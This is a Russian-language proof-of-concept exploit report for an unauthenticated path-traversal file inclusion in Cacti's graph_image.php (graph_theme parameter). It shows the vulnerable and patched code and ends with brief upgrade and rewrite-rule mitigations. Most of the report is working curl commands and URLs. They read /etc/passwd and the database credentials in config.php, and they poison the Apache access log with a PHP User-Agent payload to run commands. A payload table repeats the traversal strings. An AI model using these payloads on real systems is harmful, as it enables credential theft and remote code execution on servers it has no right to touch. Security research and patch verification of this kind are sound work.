
Эксплойт proof-of-concept для CVE-2026-39938: неавторизованное включение локальных файлов в Cacti <= 1.2.30, обеспечивающее чтение произвольных файлов и удаленное выполнение кода через отравление логов.
| Поле | Значение |
|---|---|
| CVE ID | CVE-2026-39938 |
| CVSS Score | 9.8 (Critical) |
| Affected Product | Cacti |
| Affected Versions | <= 1.2.30 |
| Patched Version | 1.2.31 |
| Fix Commit | 9871f0c |
Уязвимость существует в lib/rrd.php, где параметр graph_theme используется напрямую без санитизации:
УЯЗВИМЫЙ КОД:
if (isset($graph_data_array['graph_theme'])) {
$rrdtheme = $config['base_path'] . '/include/themes/' . $graph_data_array['graph_theme'] . '/rrdtheme.php';
}
ИСПРАВЛЕННЫЙ КОД:
if (isset($graph_data_array['graph_theme'])) {
$theme = basename($graph_data_array['graph_theme']);
if ($theme === '' || $theme === '.' || $theme === '..') {
$theme = get_selected_theme();
}
$rrdtheme = $config['base_path'] . '/include/themes/' . $theme . '/rrdtheme.php';
}
Проблема: отсутствие проверки на последовательности обхода пути ../, что позволяет злоумышленникам читать произвольные файлы без аутентификации.
curl -k -s "http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../../../../etc/passwd"
Результат: Содержимое /etc/passwd будет отображено в ответе.
curl -k -s "http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../include/config.php"
Результат: Учётные данные базы данных (имя пользователя, пароль) будут раскрыты.
curl -k -s "http://target-cacti/graph_image.php?local_graph_id=1" \
-H "User-Agent: <?php system('id'); ?>"
curl -k -s "http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../../../../var/log/apache2/access.log"
Результат: Вывод команды (например, uid=33(www-data)) будет отображён.
http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../../../../etc/passwd
http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../include/config.php
http://target-cacti/graph_image.php?local_graph_id=1
С заголовком: User-Agent: <?php system('id'); ?>
http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../../../../var/log/apache2/access.log
cd /var/www/html/cacti
git fetch --tags
git checkout tags/release/1.2.31
grep -A 5 "if (isset(\$graph_data_array\['graph_theme'\]))" lib/rrd.php | grep basename
RewriteCond %{QUERY_STRING} (^|&)graph_theme=\.\./ [NC]
RewriteRule ^graph_image\.php$ - [F,L]
Отчёт создан в целях исследования безопасности Дата: 27 июня 2026 года
| Конечная точка | Параметр | Пример полезной нагрузки |
|---|
/graph_image.php | graph_theme | ../../../../../../../etc/passwd |
/graph_image.php | graph_theme | ../../../../include/config.php |
/graph_image.php | graph_theme | ../../../../../../../var/log/apache2/access.log |